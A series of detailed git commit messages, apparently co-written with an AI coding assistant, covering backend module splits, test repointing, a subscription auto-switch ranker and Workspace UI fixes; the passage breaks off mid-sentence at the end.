Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf * docs(learnings): a CAS loser returns its own verdict, not the winner's (#2795) Found reviewing this branch: `_wake_agent` read `execute_task`'s returned status to tell a cancel from a failure, which is exact only while the agent image relabels its own cancel terminals. On an older image the FAILED write loses the CAS to the terminate route's CANCELLED and returns FAILED anyway. Related to #2795 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf * fix(workspace): the refused-cancel line uses InlineError, not a hand-rolled p (#2795) A failed verb surfaces an `InlineError` next to its control and persists until dismissed (design-system contract, principle 18). The refused-cancel line was a hand-rolled `<p role="status">` with no dismiss; the sibling surface for the same verb already does it right (`PortalWork.vue:43`, same `stopError` ref). `role="alert"` comes with the primitive, which is the correct semantic for a problem the person must notice. The AST guard locates the element by its static `data-testid`, which the component node still carries, so `roomStopWork.spec.js`'s "the stop-error line sits OUTSIDE the chain" is unchanged and still bites. merge-train: mechanical, per the merge-train note on the PR. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: sim <eugene@beingluminous.com>

…2487) * refactor(settings): routers/settings.py becomes a ten-module package (#1028) 3,529 lines — the largest file in the backend, 4.4x the 800-line critical threshold — split into ten domain modules composed onto ONE router, so the mounted API is byte-identical and `from routers.settings import router` is unchanged. Largest resulting module: credentials.py at 778 lines. Inclusion order is load-bearing (Invariant #4): `generic` owns the GET/PUT/DELETE /{key} catch-alls, which match any single segment, so it is included LAST — before its siblings it would swallow /ops/config, /brain-orb, /api-keys/anthropic and answer 'setting not found' for routes that exist. test_1028_settings_package.py pins: - the mounted route SET equals the pre-split module's, compared against the real blob out of git (60/60, none lost, none invented) - no route is shadowed by an earlier registration (the property that actually matters — literal order is deliberately NOT pinned, since regrouping specific routes relative to each other is inert) - the catch-all include stays last, named at the include line a human edits - every module stays under the 800-line threshold - the import surface callers depend on still resolves (resolve_mcp_url, the key sets, _REPO_PATTERN) Collaborators (db, platform_audit_service, settings_service) are deliberately NOT re-exported on the package __init__: ~20 tests patch them as module attributes, and after a move such a patch would apply cleanly to a module nobody reads — a test asserting nothing while hitting the real accessor. Absent attributes make every stale patch raise AttributeError instead, which is exactly how the 14 affected test files were found and repointed to the modules that own their handlers. GET '' (the root listing) is registered on the parent router because a prefix-less sub-router cannot carry an empty path (FastAPI refuses). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux * refactor(git): services/git_service.py becomes a six-module package (#1028) 2,322 lines split by responsibility — conflicts, gitignore, remotes, trinity_files, sync, provisioning — with the full public surface re-exported from the package __init__, so `from services.git_service import sync_to_github` and `git_service.<name>` callers are unchanged. Largest resulting module: gitignore.py at 649 lines. Cross-module calls go THROUGH the sibling module object (`gitignore._detect_git_dir(...)`), never a from-import of the function: a from-import freezes the binding, so a test patching the owning module would silently stop reaching the caller. Pinned structurally by test_1028_git_service_package.py, alongside the size threshold and the import surface. Private names are re-exported ONLY where another backend module imports them or a test reads them as data. A private function mirrored on both the package and its owning module can be monkeypatched on the wrong one and silently detach — which is exactly what happened to test_2069's readiness probes mid-split (the multiline setattr sites patched the package's re-exported copies while merge_gitignore_after_clone read the module's own), so the collaborator-shaped names are deliberately not mirrored: a stale patch raises AttributeError instead of testing nothing. ~15 test files repointed to the modules that own their handlers, including the three sys.modules-isolated file loaders and test_github_init_push, whose exec fake must now land on every module binding the driven function awaits through (provisioning + gitignore + remotes — patched via the loaded package instance, since its harness purges and reloads the package). The #2069 merge-caller guard now walks the whole package and matches qualified calls, so a caller cannot fall out of its census by moving between modules. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux * refactor(client): services/agent_client.py becomes a three-module package (#1028) 1,294 lines split by responsibility — circuit (the #631 transport breaker: constants, Lua, CircuitState, dormant alerting, admin read/reset), http_pool (the per-agent httpx pool + drop-grace stamps), client (AgentClient, typed errors, get_agent_client) — public surface re-exported from the package __init__, so every existing import is unchanged. Largest module: client.py at 698 lines. Same discipline as the git_service split, pinned by test_1028_agent_client_package.py: cross-module calls go through the sibling module object, collaborators are not mirrored on the package, and no module may from-import a sibling's function (a frozen binding silently detaches monkeypatches on the owning module). test_circuit_breaker.py's direct file-load gains package plumbing (submodule_search_locations + a sys.modules registration before exec — the __init__'s relative imports cannot resolve their parent otherwise), and its patches land on the owning modules. The #1677 caller-parity allowlist entry for _emit_dormant_alert follows the file to services/agent_client/circuit.py — that guard firing on the move is exactly what it is for. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux * refactor(ops,public): the heavyweight handlers move behind their routes (#1028) The last two ACs. `public_chat` — 289 lines of session identity, access gating, rate accounting, upload decoding, memory injection and dispatch, inside routers/public.py — moves to services/public_chat_service.py in the #1483 shape (service raises PublicChatError, the thin route maps it 1:1); client-IP extraction, the per-IP limit and token resolution stay router-side because they are HTTP concerns. agent_requires_email / agent_allows_open_access move with it and the router re-imports them — one definition, not a copy. public.py: 1,239 → 901 lines. routers/ops.py's five heavyweights — fleet health, the #1860 locked fleet restart, fleet stop, emergency stop, the cost rollup — move to services/fleet_ops_service.py (704) and services/ops_costs_service.py (208). The auth gates stay IN the router deliberately: the #2389 fence-vs-gate scans read live handler source there, and a gate that moved with the body would satisfy auth while blinding the scan. ops.py: 1,304 → 506 lines. test_1028_extracted_services.py pins the thinness, the gates' location, the size class — and an unresolved-module-scope-name walk, added because the move surfaced exactly that class twice: PublicChatResponse was unresolved in the chat service while 623 tests passed (nothing drives the sync-success return), and utc_now_iso the same in the costs service. py_compile cannot see this; the walk can. test_1860 / test_1917 fixtures now hand back the SERVICE module with the route entry points attached, so collaborator patches land on the bindings the moved bodies actually read while the gate patch stays on the router. The #894 override-wiring census follows public_chat's two execute_task call sites to their new file. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux * test(1028): repoint the settings source-guards at the package; satisfy the sys.modules lint Four guards read routers/settings.py as SOURCE TEXT (the ent#12 consent AuditEventType pin + generic-PUT block, the ent#434 catch-all window) and went FileNotFoundError when the module became a package — repointed at the package glob (or generic.py where the guard scopes a specific handler window). The new test files' own sys.modules registrations move onto monkeypatch.setitem / the _restore_sys_modules precedent, and the lint baseline is regenerated DOWNWARD (140 across 49 files — the patch migrations in the split commits removed ~66 stale entries). Related to #1028 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux * test(1028): the size guard counts blank lines out, comments in Self-review finding, and the more serious of the two: my previous commit changed the guard's METRIC so that my own edit would pass. That is the re-baselining this file exists to make hard, wearing a docstring as cover. Measured rather than argued. `credentials.py`: at 6d8c93a raw 778 non-blank 687 after raw 806 non-blank 687 (blank-line restoration only) non-blank-non-comment 643 Excluding blanks is exactly invariant under the change that prompted it. Excluding comments as well moves the calibration: these files carry 110-208 comment lines each, so a comment-blind count hands `credentials.py` ~160 lines of headroom the 800 ceiling never gave it, and `generic.py` 208. So the metric now excludes blank separators and nothing else. Restoring a PEP-8 blank line between two defs still does not read as a module growing, and the ceiling still means what it meant when these files were authored against it. Related to #1028 * test(1028): name the size metric for what it counts Re-review of my own fix. The metric was corrected to exclude blank lines only, and left named `_logical_lines` — which in Python means the opposite, since a logical line excludes comments. That is not a cosmetic mismatch. Reading the phrase "logical lines" in this test's docstring is precisely what talked the previous pass into excluding comments and re-baselining the guard by 160 lines. Leaving the name in place leaves the same trap armed, one identifier along, for the next reader who "corrects" the body to match it. `_non_blank_lines`, and the AC's docstring says "800 non-blank lines" in its own words rather than delegating the definition to a helper name. Related to #1028 * fix(1028): make the split's own safety nets actually run Addresses the `/validate-pr` CHANGES_REQUESTED on #2487. Every item is about a guard that is present and inert, which is why the refactor landed green. **C1 — the 60/60 route-set proof never ran in CI.** It read the pre-split module out of git, and every checkout in `backend-unit-test.yml` is `fetch-depth: 1`, so `git show dd91056:…` failed on every run and the test skipped — leaving "no route lost or invented" across a 3,529 → 10 module split proven nowhere. The fork-point set is now a frozen 60-tuple literal (a fork point is a historical fact, so freezing it costs no maintenance; a route added since goes in `_ADDED_SINCE_SPLIT`, one reviewed line at a time). The git read survives as a separate test that re-derives the literal wherever history is deep enough, so the transcription cannot drift. Its temp module is written under `tmp_path`, not `src/backend/` — an interrupted run there left a top-level module `Dockerfile:131` would bake into the image. **C2 — the integration suite broke at collection**, in FOUR files, not three: `test_monitoring_service.py` too. All of them `spec_from_file_location` on `services/agent_client.py`, which is now a package, so they raised FileNotFoundError before any test ran; this only stayed green because integration runs nightly rather than per-PR. Replaced with plain imports: the loaders existed to bypass `services/__init__.py`, and that has not been true since the module started importing `services.agent_auth` at import time (it is on `dev` too). Privates come from the module that owns them (`circuit._CIRCUIT_HASH_PREFIX`, `http_pool._client_pool`), per the package's own no-mirrored-collaborators rule, and the caplog assertions key on the parent logger name so they still capture from every submodule. Collection is back to 83 = `dev`'s 83. **Two invariant guards went blind on 3,529 lines.** `routers/settings/` is the first subdirectory ever created under `routers/`, and both `test_1310_auth_wiring.py` (Invariant #8) and `test_models_centralized.py` (Invariant #14) globbed one level deep — all ten modules escaped, and it fails open, so nothing showed. `rglob`, keyed by path relative to `routers/` so two packages cannot share an allowlist key (a top-level file's relative path is its bare name, so neither allowlist changes). 73 → 84 files scanned. **A dead constant with a live test guarding it.** `routers/public.py` still declared `MAX_CHAT_MESSAGES_PER_IP`/`_PER_TOKEN` while enforcement reads `public_chat_service`'s copy, so `test_ip_rate_limit_fix.py` was asserting a constant nothing enforces — equal values today, so only the guard had broken. Now re-exported from the enforcing module. **Split-detachment in `public.py`.** The two #311 gates were from-imported under private aliases while the service called its own module-locals: one function, two monkeypatch targets. Now called through the sibling module object, which is the rule both package `__init__` docstrings state; the two tests that patch or read it are repointed, and the `files.py` guard now bans both spellings so the retired alias cannot let a re-import through. Docs: `architecture.md` Invariant #1 gains the package paragraph (re-export the public surface only; reach siblings through the module object; guards use `rglob`), and the four stale `.py` references in the shards are corrected. Also: nine modules carried a duplicated module-level `logger`; and `fleet_ops_service` renames the fleet-restart log channel from `routers.ops`, which is now stated in the code rather than left for an operator to discover. Verified: unit suite 6269 passed, 1 failure — the pre-existing `::ffff:` IPv4-mapped parsing case (local 3.12 vs the repo's 3.13 target), byte-identical on clean `dev`. Related to #1028 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * refactor(1028): split gitignore.py three ways after the dev merge The dev merge brought #2529's ~715 lines into `services/git_service/gitignore.py`, taking it to 1305 raw lines — past the 800-line threshold this PR exists to enforce, and its own guard (`test_1028_git_service_package::test_every_module_is_under_the_critical_threshold`) said so. Re-baselining the guard under cover of a fix is precisely what the settings-test docstring in this PR warns against, so the module is split instead: gitignore.py 686 the patterns, the regions, the command builders gitignore_sweep.py 418 what a sweep DID — tags, parse, alert, report gitignore_clone.py 273 the once-per-agent merge after clone The seam is "what the file CONTAINS" vs "what did that just do" vs "the one-shot at creation". Cross-module references go through the module object (`gitignore.<name>`, `gitignore_sweep.<name>`), never a from-import: a from-import freezes the binding and a monkeypatch then lands on a detached copy — which is how test_2069's readiness probes went dark mid-split. Three real defects surfaced while wiring it and are fixed here, not carried: - `_gitignore_merge_semaphore` and `_inflight_gitignore_merge_tasks` were referenced bare in `gitignore_clone` with no such globals — a NameError on the live clone-time merge path. The five merge constants + the semaphore + the in-flight set now live in `gitignore_clone`, their sole consumer. - `_shadowed_negations` read `_GITIGNORE_MANAGED_LINES` bare after the move. It now reads it off `gitignore` through a deliberately function-local import — `gitignore` imports this module at its top level, so a module-level one would close the cycle at import time. - `datetime` was left behind by `_augment_commit_message`. The sibling suites are repointed at the module that OWNS each name, so every symbol still has exactly one monkeypatch target: test_2529's sweep names to `gitignore_sweep` (new `_sweep()` accessor beside `_gs()`), and test_2069's readiness/merge collaborators to `gitignore_clone`. 741 passed, 3 skipped across the git/gitignore/1028/1310/models families. Related to #1028 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP * test: dev's post-fork tests reach the split modules the way every earlier one does (#1028) Five files landed on dev after the fork with patch targets and source reads on the monoliths. Re-pointed the same way the split re-pointed the rest: - test_ent582_platform_keys: `is_claude_auth_configured` / `connect_agents_to_first_credential` on `settings.credentials`, `platform_keys_service.check_resend_key` on `settings.provider_keys` - test_2695_stt_capability_probe: `_elevenlabs_settings_state_with_capability` on `settings.integrations` - test_2691_public_url_reachability: the save-path source read on `settings/generic.py`, the flag-surface read on `settings/flags.py`, `update_setting`/`db`/`platform_audit_service` on `generic` - test_github_init_push: the exec recorder also installed on `git_service.token_scrub`, which the ent#615 seed now runs through - routers/settings/generic.py: the #2572 hook reaches `credentials` through an absolute function-local import — `test_2216_backup_observability` and `test_2572` load this module in isolation via `spec_from_file_location`, where a module-level relative import raises at collection Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf * test: dev's two new settings tests reach the split modules (#1028) `test_workspace_flag_retired` patches `settings_service`, `telemetry_sharing_service` and `db` on the module it calls `get_public_feature_flags` from, and `test_2696_stt_provider_errors` calls `_elevenlabs_settings_state_with_capability`. Both imported the flat `routers.settings`. Now they import the `flags` and `integrations` submodules, like the earlier re-points in 9c34662, so the patches land on the globals the handlers actually read. Full unit suite on this tree: 16468 passed, 32 skipped, 0 failed. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * test: patch the modules that own the moved globals, and let #1917 follow the moved ops code (#1028) merge-train validation findings. Collection was fixed earlier; these are the runtime half. - `tests/integration/test_circuit_breaker.py`: 19 `monkeypatch.setattr(agent_client, ...)` calls and 34 `agent_client.CIRCUIT_*` reads now target `services.agent_client.circuit`, which reads its own globals. Patching the package re-export changed nothing, and `_get_circuit_redis` is not re-exported, so it raised AttributeError. Against a fakeredis server: 8 failed / 26 passed before, 34 passed after (dev: 34 passed). - `tests/git_sync/test_s5_conflict_classifier.py` loads `git_service/conflicts.py`, because the flat `git_service.py` no longer exists. - `tests/git_sync/test_s7_reserve_instance_id.py` patches `check_remote_branch_exists` and `db` on `git_service.provisioning`, where `reserve_and_generate_instance_id` looks them up. Both git_sync files: 33 passed. - `tests/unit/test_1917_stack_trace_exposure.py`: the raw `str(e)` ban now also scans `services/fleet_ops_service.py` and `services/ops_costs_service.py`, where the ops handler bodies moved. Neither file has any hits today. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> Co-authored-by: sim <sim@example.com>

* fix(workspace): the ask badge said 2 and gave you no way to find them (#2424) The sidebar advertised "2 asks are waiting on your answer" and then stranded you: the agent that raised them carried no badge, its tooltip did not mention them, and it could be collapsed out of the roster entirely. The only way to locate a blocked agent was to open agents one at a time. Observed on a 12-agent roster with two asks on ws-sage (11th of 12), so on a fresh load the one row that mattered was behind the "show more" toggle. Three failures, fixed together because separately each is a half-measure — a badge with no destination, or a destination nobody can see. 1. The unit. `askCount` is `openAsks.length`, and the tooltip said "agents": two asks on ONE agent rendered as "2 agents are waiting on your answer". The number was right, the noun was wrong, and they only diverge when a single agent raises more than one ask — which is why it went unnoticed. Resolved toward ASKS rather than agents, because the row badges added here now answer "which agent", leaving the header to answer "how many decisions". 2. The row. `PortalSidebar.vue:139` renders a per-agent badge from `unreadByAgent` — unread REPLIES. Keeping asks out of that count is deliberate and documented at line 9 ("one is waiting on you to decide, the other on you to read"), and is preserved: the ask gets the *own badge* that comment promised, in `status-urgent` — the token the operator NavBar's pending-operator-queue badge already uses, so the two surfaces agree — and visually distinct from the indigo unread pill beside it. `agentRowTitle` had the same hole, so this is an accessibility fix too: a blocked agent's accessible name was the bare "Open ws-sage". 3. The collapse. #2159 capped the roster at five for a good reason (a long fleet pushed chats below the fold), but the slice is plain roster order with no ask weighting. Ask-bearing agents are now never hidden — appended, NOT floated to the top, because re-sorting on a transient count moves rows under the cursor between refreshes, the same reason the roster is not re-sorted by availability. Not a regression: every piece shipped in its intended form; the gap was between them. Everything decidable moved into `portalUtils` (`asksByAgent`, `askBadgeTitle`, `agentRowTitle`, `visibleAgentRows`, `AGENT_COLLAPSE_LIMIT`) because vitest runs `environment: 'node'` with no mount harness — a rule inside the SFC is one no test can reach, which is how all three of these shipped. Mutation-checked: reverting the noun, dropping asks from the title, and restoring the plain slice each turn the suite red. `bg-amber-500` -> `bg-status-urgent-500` is required, not drive-by: new code must be at zero raw palette classes, so the new badge needed a token, and the header had to match it or the two ask indicators would differ. Amber maps to `state-autonomous` (an operating mode), which is the wrong claim. PortalSidebar is now at zero non-gray raw classes. Two pre-existing guards asserted the moved expressions as source strings and are rewritten to assert the properties behaviourally — strictly stronger, since they now fail on a broken bound or a dropped chip title, not only on a reworded one: - portalRosterRow #2159 "shows a fixed number by default" - portalAvailabilityChip #2196 "row title carries the state" Verification: 1518/1518 frontend unit tests, raw-color ratchet exit 0, production build clean. Closes #2424 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(workspace): the sync portal turn never carried its session, so report-back could not fire (#2426) ent#457 gave the Workspace a report-back: an agent that delegates during a chat turn gets the completion posted into that thread. It could not fire on the SYNCHRONOUS path, because the parent execution never received the session binding the report needs. `report_completion` gates on `if not source_channel_chat_id`, and there the field was NULL. Measured on a dev instance — 5 of 8 portal rows NULL, split exactly by path: 07:55 -> 09:04 chat=7d27744d... browser, streaming path 09:06 -> 09:09 chat=NULL POST .../chat, synchronous path TWO CORRECT CHANGES THAT COLLIDE. ent#457 passes the binding down, and `execute_task` persists it — but only inside `if not execution_id:`. ent#365's `_precreate_sync_execution` has already created the row and handed the id over, so that branch never runs, and the pre-create stamped only `source_channel`. Its own docstring named the invariant it broke: "Mirrors `start_portal_turn`'s creation exactly ... so the two paths produce indistinguishable rows and a report published from either can be joined back to its chat." The sibling comment in `start_portal_turn` says "both creation sites or the stamp is a coin flip depending on which path made the row" — ent#457 covered the two sites that existed when it was written; ent#365 had added a third. Fix: stamp `source_channel_chat_id` + `source_channel_client` in the pre-create. `session_id` is a REQUIRED parameter, not an optional one — the value is in scope at the only call site, and a default would let a future caller silently reintroduce the inert row. Rejected: teaching `execute_task` to UPDATE an adopted row, which widens a hot path used by every trigger to repair one caller's omission. ALSO REPAIRS TWO GUARDS THAT WERE RED ON `dev`. `backend-unit-test` is failing on dev right now; both failures are in this feature area and both are guards that had gone inert, so they are fixed here rather than left for the next PR to trip over. Frontend-only PRs pass because the `changes` job path-filters the backend suite away, which is why this went unnoticed. * `test_both_portal_row_creation_sites_name_the_chat` asserted a literal census of `== 2` sites. It went red the moment the third site appeared — the guard WORKING — and the bug it names shipped anyway. Now asserts the rule instead of the count: every site that stamps the surface must also stamp the destination. Census-proof. * `test_portal_turn_kwargs_bind_against_execute_task` parsed `portal_chat` for a literal `run_resumable_turn(...)` call. That call had moved into `_run_sync_turn_and_clear_marker`, where it is `run_resumable_turn(**kwargs)` — a splat, which names nothing — so the walk found no keywords and the guard asserted itself dead. Now reads the keywords where they are actually named (the wrapper's call site), scanning both entry names and subtracting the wrapper's own consumed parameters. Neither rewrite loses coverage; both now fail for the reason their docstring gives rather than because a number or a call site moved. WHY THE BUG SURVIVED ITS TESTS. ent#457's mock the engine and assert the kwargs are passed (they are). ent#365's assert no orphan `running` row (still true). Nothing asserted the PERSISTED ROW, which is the only place the two meet — the same lesson `test_ent457_portal_turn_kwargs.py` states about itself. The new suite asserts at that layer, and adds a derived parity check so a fourth channel field added to one writer and forgotten in another fails here instead of shipping as another silently-inert report path. Verification: 402 passed on the portal/ent457/ent365 selection (was 2 failed before this branch). Mutation-checked: removing the stamp turns 4 red; feeding `execute_task` an unknown kwarg turns the repaired binding guard red. Closes #2426 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(subscriptions): auto-switch ranks alternatives by cached headroom, never by load alone (#2409) (#2422) ## Summary - `select_best_alternative_subscription` returned the **first** survivor of the 2h failure filter in `agent_count ASC` order and read no headroom — SUB-003 could move an agent onto a subscription at 99% of its weekly window, and an *unused dead-token* subscription (no agents ⇒ no failure rows) sorted **first**. - Now: **filter in the db, rank in the service, never a probe.** The db lists survivors (kind-blind 2h filter unchanged and first, #444/#2352, `agent_count ASC, name ASC`); the service ranks them over the cached provider snapshot (one `MGET`) furthest-from-the-nearest-wall first (the fuller of the 5h/7d windows — the #792 retry lands on the destination immediately), in 10-point bands so load still spreads a storm; a **fresh** provider refusal is dropped; anything unusable sorts in today's order; any failure of the ranking half falls back to today's pick **with a warning**. - `classify_headroom` (ent#434) and the ranker share one usability gate (`headroom_reading`) — verdicts byte-identical, pinned by a differential test against a frozen copy. New-agent auto-assign (#74) rides the same ranker. The switch now records **why** (`destination_headroom` + one notification clause). - Approved deviations from the literal AC, recorded on the issue: nearest-wall key instead of 7d-only; fresh refusals filtered instead of ranked last. ## Changes - `src/backend/services/subscription_headroom_service.py` — gate, MGET reader, threshold-free ranker, `MAX_READING_AGE_SECONDS` (owned here now); `classify_headroom` becomes policy over the gate - `src/backend/services/subscription_auto_switch.py` — service-layer selector (`asyncio.to_thread` under the agent lock), `destination_headroom` on activity / notification / result - `src/backend/services/subscription_service.py` — `select_subscription_for_new_agent` - `src/backend/db/subscriptions.py` + `database.py` — `list_viable_alternative_subscriptions` / `list_assignable_subscriptions` (filter only); first-match selectors retired - `src/backend/services/agent_service/crud.py` — call site; `subscription_headroom_alerts.py` — constant re-export + docstring - Tests: new `tests/unit/test_2409_headroom_ranked_switch.py`; pingpong / 2352 / concurrency / 1484 / 1759 adapted to the list form (assertions kept) - Docs: `architecture.md`, `subscription-auto-switch.md` (+ management, usage-tracking), requirements §20.4, `learnings.md` (2 entries), CSO diff report ## Test Plan - [x] New suite: `pytest tests/unit/test_2409_headroom_ranked_switch.py` — 83 passed; **80/81 fail on the unmodified source** - [x] Full `tests/unit`: 12,718 passed / 30 skipped / 1 pre-existing failure (`test_1920`, private submodule, untouched) - [x] API integration (`test_subscription_auto_switch`, `test_subscriptions`, `test_subscription_usage`): 36 passed - [x] Live: a real switch chose the 18%/9% subscription over the 0-agent 88%/60% one; every-survivor-refused → no switch + WARNING; no snapshot → today's order - [x] `/review` clean (informational findings fixed in-review); `/cso --diff` no findings - Follow-ups filed while testing: #2419 (parser overage), #2420 (destructive integration suite), #2421 (subscription audit gap) Fixes #2409 🤖 Generated with [Claude Code](https://claude.com/claude-code) * feat(workspace): an answer given in the Workspace resumes the agent (ent#430) Slice 5 of ent#364, and the gate: until now the client route recorded an answer and returned. The operator route called `spawn_resume_dispatch`; this one did not. So an ask addressed to a Workspace client — the entire point of ent#364/#428/#429 — was recorded, reached the agent's queue file in about three seconds, and re-triggered nothing. Measured on a live instance before this change: answered from the Workspace, `operator-queue.json` flipped to `responded` with the answer in under 3s, and no execution followed. Unblocked because ent#329 is in dev. WHAT THIS ADDS: one call. ent#430's body rules out the alternative — "a second dispatch surface for the same event is how the cost, trigger-label and loop-prevention questions get answered twice, differently" — so the per-agent opt-in, the idempotency key, the audit row and the failure handling all stay inside `maybe_dispatch_resume`. AC #2 and AC #3 are satisfied by REUSE rather than by re-implementation, and the tests assert the CALL for that reason. Four properties, each load-bearing: * Hung off the CAS WIN only, like the operator route. The 409 above already returned for a lost race, so reaching the dispatch means this answer is the one that landed — two people answering at once produce one resume. * `updated`, never `item`. The pre-answer read still says `pending`; a resume handed that row acts on an ask that does not yet carry its answer. Looks identical in a green test, which is why there is one for it. * The spawn is wrapped. It is fire-and-forget, but a raise ON THE CALLING LINE would still propagate, and a 500 after the CAS landed would tell the client their answer failed while it is committed and already on its way to the agent. The answer is the thing that must not be lost. * #2376's choice validator runs first, so an answer that was never offered cannot spend. AC #5 — `resume_requested` on the answer response, read from the SAME accessor the dispatch gates on, so the two cannot disagree about what is about to happen. It reports INTENT, not success: the dispatch is backgrounded, so at that moment the only honest claim is whether it will be attempted. Fails CLOSED — an unreadable flag claims nothing, because over-claiming is exactly the failure AC #5 names ("the ask does not read as resolved while nothing happened"). RESIDUAL, stated rather than implied: a dispatch that fails AFTER this point surfaces as a FAILED execution row plus an `operator_resume_dispatch` audit entry (ent#329) — operator-visible, and a client cannot see either. The client half of AC #5 is satisfied negatively for now: the ask surface says nothing about work starting, so it cannot mis-claim. `resume_requested` is the field a surface needs to say something true; consuming it is an ent#429 UI change and is deliberately not in this PR. The per-agent flag DEFAULT IS UNCHANGED (`operator_resume_enabled`, OFF, owner-only). "Turn the flag on" is an operator action per agent, not a code default: flipping it would hand every shared agent's client a spend button, which is the one thing AC #3 rules out. Verification: 145 passed across the asks/ent#329/ent#364/#428/#429/#2376 selection. Mutation-checked — removing the dispatch (4 red), passing the pre-answer row (1 red), and making the opt-in read fail open (1 red). Closes ent#430 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(workspace): New chat means a new chat (ent#451 — the fresh-thread slice) Reported: pressing New chat in the Workspace drops you back into the existing conversation with that agent. Decided at the 2026-08-21 weekly. ONE VALUE CARRYING TWO MEANINGS. An absent `session_id` meant both "I don't know which thread" and "I want a fresh one", and the platform resolved it as the first, in both readers: _resolve_session_id(..., None) -> resume the client's latest get_history(..., None) -> return the most-recent thread Both readings are RIGHT for the case they were written for — a deep link, a refresh, an API caller that never held a session id — so neither could be inverted. The intent had to become sayable: `new_thread` on the request, `newChat` on the component, checked before the resume. The frontend tell was an asymmetry: New chat with the agent you were ALREADY on started fresh, while New chat with a different agent resumed. The watcher read a changed agent as "load that agent's history" and called `fetchHistory(name, null)`, discarding the `pendingSession = null` that `newChatWithAgent` had just set to mean the opposite. MOST OF ent#451 TURNED OUT TO BE BUILT. Recorded because the issue is complexity-high and this PR is not: * the data model already allows many sessions per (agent, client) — no UNIQUE constraint, a `title` column, an index on `(agent_name, client_email, last_message_at)`, and auto-titling. AC #4's "migrates cleanly" is nothing to migrate. * AC #2's list is the existing sidebar: titles, recency, starred lifted out, search, per-agent avatars. * AC #3's landing rule is already decided and documented in `ensure_thread_for_ask` — reuse the latest thread so asks do not accumulate beside the conversation. UNCHANGED here, and pinned by a test so this cannot move it silently. It matters MORE once several chats exist, not less. So what was missing is AC #1, and it is two bits rather than a data model. Four properties: * An explicit `session_id` WINS over the flag. A caller sending both contradicts itself; the id is a fact, the flag an intent, and abandoning a named thread would strand a turn meant for a conversation the caller could see. * The ownership check runs first either way — the flag is never a route past it. * BOTH turn entry points carry it. The Workspace uses the streaming path and falls back to the synchronous one, so a flag honoured by only one brings the bug back exactly when streaming fails. * The intent is spent on adoption. The send guard already ANDs on "no session yet", so a second turn was never going to open a third thread; clearing it in `onSessionAdopted` keeps the two bits from disagreeing after a navigation. Test doubles updated, not worked around: seven `_resolve_session_id` lambdas and four `_fake_chat` stubs did not accept the new keyword. They take `**kw` now — a stub that must be edited for every new parameter is a second signature — and one hand-rolled `_Body` model double gained the field. All are stale stubs rather than behaviour changes. Verification: 392 passed across the portal/ent#286/#287/#358/#429/#430/#451 selection; 1497 frontend unit tests. Mutation-checked: making the flag inert, and letting it override an explicit session id, each turn the suite red. The full backend suite exceeds a local foreground run and is left to CI. Pre-existing and NOT from this branch: `test_ent457_portal_turn_kwargs` and `test_both_portal_row_creation_sites_name_the_chat` fail on `dev` today; both are fixed in #2427. Related to ent#451 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(review): the ?new=1 deep link, the missing frontend test, and three latent desyncs (ent#451) Blocker 1 was real and I had not seen it. `resolveAgentQuery` passed `forceNew` to `resolveAgentLanding` and set `pendingSession = null`, but never raised `startingNewChat` — so `/workspace?agent=X&new=1` rendered an empty conversation and then sent `new_thread: false`, resuming the thread the user asked to leave. The reported bug, intact on the documented `?new=1` contract, in the PR that exists to fix it. The cause is the one this PR is about, one level up: `route.query.new` was read in two places for two different decisions — WHICH THREAD to land on and WHAT THE FIRST SEND ASKS FOR — and only the first honoured it. Now read ONCE into a local that feeds both, so they cannot drift again. AND-ed with the landing result, so a `?new=1` that still resolved a thread never claims a fresh start. Blocker 2: a frontend test, which the change genuinely had none of — the `1497 passed` in the body was the pre-existing suite, as the review says. `workspaceNewChat.spec.js` (9 tests) covers the deep link, the watcher branch ORDER, the first-paint guard, both send conjunctions, and the settle-everywhere rule, using the two established patterns (pure function + source assertion in the `portalLeaveSpecificRoute.spec.js` shape) since vitest runs `environment: 'node'` with no mount harness. Mutation-checked, and M1 is the reviewer's own blocker: reverting it turns the suite red. Blocker 3: `test_history_without_a_session_is_unchanged` cited "the spec in tests/unit/... frontend suite" — a dangling reference asserting coverage that did not exist. It now names the real file. Comments addressed: * Three more sites nulled `pendingSession` without settling the intent — the deep-link watcher (the commonest way in), `openRoom`, `openAgentPage`, plus the unreachable-agent branch. Latent because both consumers AND on "no session yet", but a flag that is only correct because of a second variable is one refactor from being wrong, and the declaration claims it is cleared the moment a real thread exists. Now true. * `test_both_turn_entry_points_forward_it` was `getsource` + a substring, so a comment or a misspelled kwarg satisfied it. It now BINDS the keyword against each service signature and asserts the routes forward `body.new_thread` through a comment-stripped source — verified by mutation. * 